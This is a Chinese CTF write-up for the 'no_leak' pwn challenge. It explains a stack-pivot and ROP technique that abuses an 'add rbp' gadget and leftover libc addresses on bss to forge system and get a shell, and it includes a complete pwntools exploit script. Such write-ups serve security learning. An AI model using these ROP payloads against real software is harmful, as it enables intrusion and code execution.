一、神奇的gadget:
这个gadget一般存在于__do_global_dtors_aux中,可能是出题人自己写的gadget吧~适用于no leak类型的题目。


拿一道题看看吧:
no_leak
先看看保护机制:

got表不可改,NX保护,庆幸的是没有canary保护和pie,比较友好,先看看ida:
| 12
 3
 4
 5
 6
 7
 8
 
 | int __cdecl main(int argc, const char **argv, const char **envp){
 char buf;
 
 alarm(0x3Cu);
 read(0, &buf, 0x100uLL);
 return 0;
 }
 
 | 
程序很简单,就一个read的栈溢出,但是没有打印函数,这题我的第一反应是dl_runtime_resolve,先栈迁移到bss上,再进行一系列处理,但是,调用plt+6处的dl_runtime函数时,发现这个函数不见了,所以这题我没能用dl_runtime_resolve的方法做出来,本想放弃然后去复现DelCTF,看到了一个神奇的gadget,说是适用于no leak的情况,所以这题就试试吧:
大概思路如下:
1、栈迁移到bss上
2、调用libc_start_main,使得bss上残留下原本栈的信息,就会有真实地址在bss上分布
3、找一个能用的真实地址,利用神奇的gadget,把它伪造成onegadget,再次回跳到main函数
4、栈溢出ret到onegadget即可getshell
直接上exp:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 
 | from pwn import *
 from libformatstr import FormatStr
 context.log_level = 'debug'
 context(arch='amd64', os='linux')
 local = 1
 elf = ELF("./no_leak")
 if local:
 p = process('./no_leak')
 libc = elf.libc
 else:
 p = remote('nc.eonew.cn',10002)
 libc = ELF('./libc-2.27.so')
 
 sl = lambda s : p.sendline(s)
 sd = lambda s : p.send(s)
 rc = lambda n : p.recv(n)
 ru = lambda s : p.recvuntil(s)
 ti = lambda : p.interactive()
 
 def bk(addr):
 gdb.attach(p,"b *"+str(hex(addr)))
 
 read_got = elf.got["read"]
 read_plt = elf.symbols["read"]
 main_got = elf.got["__libc_start_main"]
 finit = 0x0000000004005E0
 init = 0x000000000400570
 main = 0x000000000400450
 leave_ret = 0x0000000000400564
 pop_rbx_rbp_ret = 0x0000000004005CA
 add_rbp_rbx_ret = 0x000000000400518
 pop_rdi_ret = 0x00000000004005d3
 pop_rsi_r15_ret = 0x00000000004005d1
 bss_addr = elf.bss() + 0x500
 bss = elf.bss()
 
 def middle_overflow(offset,function_got,rdi,rsi,rdx):
 py = ''
 py += offset
 py += p64(0x4005C6)
 py += p64(0)
 py += p64(0)
 py += p64(1)
 py += p64(function_got)
 py += p64(rdi)
 py += p64(rsi)
 py += p64(rdx)
 py += p64(0x4005B0)
 py += p64(0)
 py += p64(0x2d8a9)
 py += p64(0x613dc8+0x3d)
 py += p64(0)
 py += p64(0)
 py += p64(0)
 py += p64(0)
 py += p64(add_rbp_rbx_ret)
 py = py.ljust(0x100,'c')
 sd(py)
 
 py = ''
 py += 'a'*0x80
 py += p64(bss_addr)
 py += p64(pop_rdi_ret)
 py += p64(0)
 py += p64(pop_rsi_r15_ret)
 py += p64(bss_addr)
 py += p64(0)
 py += p64(read_plt)
 py += p64(leave_ret)
 py = py.ljust(0x100,'a')
 sd(py)
 
 middle_overflow('bbbbbbbb',main_got,main,finit,init)
 
 py = ''
 py += 'b'*0x80
 py += p64(0)
 py += p64(pop_rbx_rbp_ret)
 py += p64(0xFFFFFFFFFFC5EE18)
 py += p64(0x601495)
 py += p64(0)
 py += p64(0)
 py += p64(0)
 py += p64(0)
 py += p64(add_rbp_rbx_ret)
 py += p64(main)
 py = py.ljust(0x100,'a')
 sd(py)
 
 binsh = 0x6012b0
 system = 0x601458
 middle_overflow('/bin/sh\x00'+'b'*0x80,system,binsh,finit,init)
 
 p.interactive()
 
 | 
下面就是debug调试的信息:
首先栈迁移往0x601510处读入我们调用libc_start_main的payload

可以看下情况:

继续运行:

第一个参数是main的地址,可以看到利用中级栈溢出的方式,成功实现了调用libc_start_main,再次read,当我们进去看时,就会发现除了我们的再次输入外,在bss上留下还有一些libc的地址:

这里选择0x601458作为我们的牺牲品,通过神奇的gadget,add它和system的偏移,就可以把它改成system,同时它的bss地址可以看成是system的伪got表地址。

改成功了,接着再次回到main函数,直接写binsh到首部,然后中级栈溢出调用system就可以getshell了:


以上就是对于神奇的gadget的一次使用,这样做法应该是出题人自己想好的,一般的程序估计没有这个gadget,所以也是一种积累吧。